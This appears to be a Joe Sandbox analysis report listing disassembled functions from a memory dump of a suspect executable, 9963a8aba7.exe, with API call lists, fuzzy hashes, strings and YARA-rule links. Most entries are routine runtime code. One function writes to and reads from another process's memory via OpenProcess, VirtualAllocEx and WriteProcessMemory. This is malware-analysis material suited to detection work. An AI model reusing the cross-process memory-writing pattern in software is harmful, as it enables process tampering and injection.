_memcmp.LIBVCRUNTIME ref: 00B45787

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: d1d4cb53b074f2be716e5dc47bc7588bf50f4e09502bd70635de053c6666d56b
Instruction ID: a12e62059d97ab3dca989b141c37ea4e4a2671f182b83f58ef30345ca843f8c9
Opcode Fuzzy Hash: d1d4cb53b074f2be716e5dc47bc7588bf50f4e09502bd70635de053c6666d56b
Instruction Fuzzy Hash: E001BEB1741E05BBD61C55149D81FBB73DCDB21354F0044B1FD189A282F760EE11D2B5

Function 00B12DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00B0F2DE,00B13863,00BB1444,?,00AFFDF5,?,?,00AEA976,00000010,00BB1440,00AE13FC,?,00AE13C6), ref: 00B12DFD
_free.LIBCMT ref: 00B12E32
_free.LIBCMT ref: 00B12E59
SetLastError.KERNEL32(00000000,00AE1129), ref: 00B12E66
SetLastError.KERNEL32(00000000,00AE1129), ref: 00B12E6F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 5332bb6dbd013854d0ac0a77487a38381ba54384d4441e0850f1ce0067e90268
Instruction ID: 2bf811229cc60184f370b0da2e3205a1f4cd26988ea24d8238eeed18b4447dd9
Opcode Fuzzy Hash: 5332bb6dbd013854d0ac0a77487a38381ba54384d4441e0850f1ce0067e90268
Instruction Fuzzy Hash: 2B01F4336456006BC61237346C86DEB2AE9EBC17B1BE100ADF829A32D2EF708CE14060

Function 00B4000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?,?,?,00B4035E), ref: 00B4002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?,?), ref: 00B40046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?,?), ref: 00B40054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?), ref: 00B40064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B3FF41,80070057,?,?), ref: 00B40070

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 557371f175381da0fa9f537f51872bdfe83b459aba3ae0d29e9ee8b1952673bf
Instruction ID: 605bca8cd8226bb5b9608043b1c03de015e9c5dd87366503c5b9159e3c09ae27
Opcode Fuzzy Hash: 557371f175381da0fa9f537f51872bdfe83b459aba3ae0d29e9ee8b1952673bf
Instruction Fuzzy Hash: 36018F72610208BFDB215F68EC44BAA7EEDEB44751F14416CFE09D3210DB71DE80ABA0

Function 00B410F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B41114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B41120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B4112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B40B9B,?,?,?), ref: 00B41136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B4114D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 63af7243afe39710e95ad30a107f01e94948a5a2188ff0f911ecc74be34b2b4a
Instruction ID: 3ec1223b82d6b07e77741bff1f368f5c144aee19ca1af3f08d29d59f0aa844e4
Opcode Fuzzy Hash: 63af7243afe39710e95ad30a107f01e94948a5a2188ff0f911ecc74be34b2b4a
Instruction Fuzzy Hash: C5018175500205BFDB114F68DC49E6A3FAEEF85361B20046CFA45D3350DF31DD809A60

Function 00B40FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B40FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B40FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B40FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B40FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B41002

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: e5f44e4d29cc4dc17928a3ec4e322806d1c9836381a6796c10c3709ea17e0cd1
Instruction ID: 379fd53df6f0a383f7babc107f12224f2bbe1031fbc34d7cb51398121cca2501
Opcode Fuzzy Hash: e5f44e4d29cc4dc17928a3ec4e322806d1c9836381a6796c10c3709ea17e0cd1
Instruction Fuzzy Hash: 6AF04935600301ABDB214FA8AC49F563FADEF89762F614868FA4AD7251CE70DC808A60

Function 00B41014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B4102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B41036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B41045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B4104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B41062

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 8add7dbb1097bbf97da82cd5fa46786fffe71253db81a3eff4546c6106e3d2bd
Instruction ID: aca4a8c987ceae10e10fb80dc7191c46fe0560a271d8a19275b1a036af7ac3bb
Opcode Fuzzy Hash: 8add7dbb1097bbf97da82cd5fa46786fffe71253db81a3eff4546c6106e3d2bd
Instruction Fuzzy Hash: 3AF06D35200301EBDB215FA8EC49F563FADEF89761F21082CFA4AD7250CE70D9908A60

Function 00B5030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00B5017D,?,00B532FC,?,00000001,00B22592,?), ref: 00B50324
CloseHandle.KERNEL32(?,?,?,?,00B5017D,?,00B532FC,?,00000001,00B22592,?), ref: 00B50331
CloseHandle.KERNEL32(?,?,?,?,00B5017D,?,00B532FC,?,00000001,00B22592,?), ref: 00B5033E
CloseHandle.KERNEL32(?,?,?,?,00B5017D,?,00B532FC,?,00000001,00B22592,?), ref: 00B5034B
CloseHandle.KERNEL32(?,?,?,?,00B5017D,?,00B532FC,?,00000001,00B22592,?), ref: 00B50358
CloseHandle.KERNEL32(?,?,?,?,00B5017D,?,00B532FC,?,00000001,00B22592,?), ref: 00B50365

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d2c397f82d0181108ab0c66dbd7fb4ed92279dd5fe09cd7e0f014ba965d3183f
Instruction ID: 0d90bf6eb366d20de71bf4535832fb0cd8d68febaa517b3d933715650c33b9f3
Opcode Fuzzy Hash: d2c397f82d0181108ab0c66dbd7fb4ed92279dd5fe09cd7e0f014ba965d3183f
Instruction Fuzzy Hash: 6701EE72800B018FCB30AF66D880802FBF9FF603063158ABFD19652930C3B0A988CF84

Function 00B1D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B1D752

Part of subcall function 00B129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000), ref: 00B129DE
Part of subcall function 00B129C8: GetLastError.KERNEL32(00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000,00000000), ref: 00B129F0

_free.LIBCMT ref: 00B1D764
_free.LIBCMT ref: 00B1D776
_free.LIBCMT ref: 00B1D788
_free.LIBCMT ref: 00B1D79A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fb0bb632d44e1fb4680ba83daf6e933157ba980484d8a58d978048bb749baabb
Instruction ID: 227c158a2497c18860a17a81c8b6a2b14d462f2f204b5a02337a7f53155a8f85
Opcode Fuzzy Hash: fb0bb632d44e1fb4680ba83daf6e933157ba980484d8a58d978048bb749baabb
Instruction Fuzzy Hash: 91F01232544214ABC622EB68F9C6C967BDDFB45760BE40C95F048DB641CF34FCD086A4

Function 00B45C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00B45C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00B45C6F
MessageBeep.USER32(00000000), ref: 00B45C87
KillTimer.USER32(?,0000040A), ref: 00B45CA3
EndDialog.USER32(?,00000001), ref: 00B45CBD

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 38cfb58e664d5e99af2031587573e4041f08b0386831ab00676e38318ba93037
Instruction ID: 44cde5e84cbfd0422c704a109e771e887350dc8f7403fbc07e7b5728696bbc97
Opcode Fuzzy Hash: 38cfb58e664d5e99af2031587573e4041f08b0386831ab00676e38318ba93037
Instruction Fuzzy Hash: A4018630500B04ABEB315B10DDCEFA67BF8FB00B05F00159DA587A20E2DFF0AA849B91

Function 00B122A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B122BE

Part of subcall function 00B129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000), ref: 00B129DE
Part of subcall function 00B129C8: GetLastError.KERNEL32(00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000,00000000), ref: 00B129F0

_free.LIBCMT ref: 00B122D0
_free.LIBCMT ref: 00B122E3
_free.LIBCMT ref: 00B122F4
_free.LIBCMT ref: 00B12305

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 51fc783b99cd26d442fe5306a62d599661ac8c408d7a599f8964e4fa4cab31c9
Instruction ID: f4d705e21272cde0f965ce4d9b30e07e190f57a206d17bd90d3303ac6e93bfc4
Opcode Fuzzy Hash: 51fc783b99cd26d442fe5306a62d599661ac8c408d7a599f8964e4fa4cab31c9
Instruction Fuzzy Hash: B4F017B19101208B8612BF5CAC028A93FA4F7297A07800A9AF410DB3B1CF7448B1AAE4

Function 00AF95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00AF95D4
StrokeAndFillPath.GDI32(?,?,00B371F7,00000000,?,?,?), ref: 00AF95F0
SelectObject.GDI32(?,00000000), ref: 00AF9603
DeleteObject.GDI32 ref: 00AF9616
StrokePath.GDI32(?), ref: 00AF9631

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: d55ba5933379cefaccf69717df54240951b13adb822e25e5b16ec599fe675776
Instruction ID: c9ffdea008055ef5c23efdcaf600546d5f317cb9914add3dfe39d780cf740bdd
Opcode Fuzzy Hash: d55ba5933379cefaccf69717df54240951b13adb822e25e5b16ec599fe675776
Instruction Fuzzy Hash: 32F01930005248EBDB225FA9ED287A53F65AB00322F948318F5A9970F1CFB08996DF60

Function 00B10F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00B110F9
__freea.LIBCMT ref: 00B11117

Part of subcall function 00B11537: _free.LIBCMT ref: 00B1154F

Strings

am/pm, xrefs: 00B1117A
a/p, xrefs: 00B111DE

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 67dc646c8fd585d17fd676cebc19194343efc70098d425ff80a56413961c8dc8
Instruction ID: 9d7ee59b55b491887017870c7be4b4a13443a26b98049e30c3b6581f4692b0b4
Opcode Fuzzy Hash: 67dc646c8fd585d17fd676cebc19194343efc70098d425ff80a56413961c8dc8
Instruction Fuzzy Hash: 6CD10431900206EACB249F6CC895BFAB7F1EF06700FA449D9E711AB658D3759DC0CBA5

Function 00B67B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00B00242: EnterCriticalSection.KERNEL32(00BB070C,00BB1884,?,?,00AF198B,00BB2518,?,?,?,00AE12F9,00000000), ref: 00B0024D
Part of subcall function 00B00242: LeaveCriticalSection.KERNEL32(00BB070C,?,00AF198B,00BB2518,?,?,?,00AE12F9,00000000), ref: 00B0028A

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B000A3: __onexit.LIBCMT ref: 00B000A9

__Init_thread_footer.LIBCMT ref: 00B67BFB

Part of subcall function 00B001F8: EnterCriticalSection.KERNEL32(00BB070C,?,?,00AF8747,00BB2514), ref: 00B00202
Part of subcall function 00B001F8: LeaveCriticalSection.KERNEL32(00BB070C,?,00AF8747,00BB2514), ref: 00B00235

Strings

G, xrefs: 00B67C7F
Variable must be of type 'Object'., xrefs: 00B67C3A
5, xrefs: 00B67C78

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: 600a6dc1abfb67c40d33ac4af8147863b808b650f86da6fac02b508733737c70
Instruction ID: 11b2efedc05267b093abbd911f3cc9af99dd310199bf5d76d332502027d2bbdc
Opcode Fuzzy Hash: 600a6dc1abfb67c40d33ac4af8147863b808b650f86da6fac02b508733737c70
Instruction Fuzzy Hash: 44917A70A44209AFCB14EF94D9919BDB7F1FF48308F108499F80A9B2A2DB75AE45CB51

Function 00B42716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B421D0,?,?,00000034,00000800,?,00000034), ref: 00B4B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00B42760

Part of subcall function 00B4B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B421FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00B4B3F8

Part of subcall function 00B4B32A: GetWindowThreadProcessId.USER32(?,?), ref: 00B4B355
Part of subcall function 00B4B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B42194,00000034,?,?,00001004,00000000,00000000), ref: 00B4B365
Part of subcall function 00B4B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B42194,00000034,?,?,00001004,00000000,00000000), ref: 00B4B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B427CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B4281A

Strings

@, xrefs: 00B42832

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: b62bcc1262e17effa927d0a22f70903d1e3113ed69187a3c8557bfa4fc339a4c
Instruction ID: 056a933c12a0da3e49ab6596d3ff94b04d65646cadfa2d3e67813e5cd7becaa0
Opcode Fuzzy Hash: b62bcc1262e17effa927d0a22f70903d1e3113ed69187a3c8557bfa4fc339a4c
Instruction Fuzzy Hash: 9641FC76900218AEDB10DFA4C985EDEBBB8EF05700F104099FA55B7181DA71AF85DB61

Function 00B1172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe,00000104), ref: 00B11769
_free.LIBCMT ref: 00B11834
_free.LIBCMT ref: 00B1183E

Strings

C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe, xrefs: 00B11760, 00B11767, 00B11796, 00B117CE

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe
API String ID: 2506810119-2777605537
Opcode ID: cd6f6b1d55c12a58bffd2070d6d79cc1fb70a9fe318d31848bfa31abee775993
Instruction ID: fe2b9a5cdf620154507ff04da6c7b5406ff6e3de8dc492b001d390e9ab5af4dd
Opcode Fuzzy Hash: cd6f6b1d55c12a58bffd2070d6d79cc1fb70a9fe318d31848bfa31abee775993
Instruction Fuzzy Hash: 443160B1A04218AFDB21DF9D9885DDEBBFCEB85350B9445E6F504D7351DAB08E80CB90

Function 00B4C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00B4C306
DeleteMenu.USER32(?,00000007,00000000), ref: 00B4C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00BB1990,00C364C0), ref: 00B4C395

Strings

0, xrefs: 00B4C2DF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
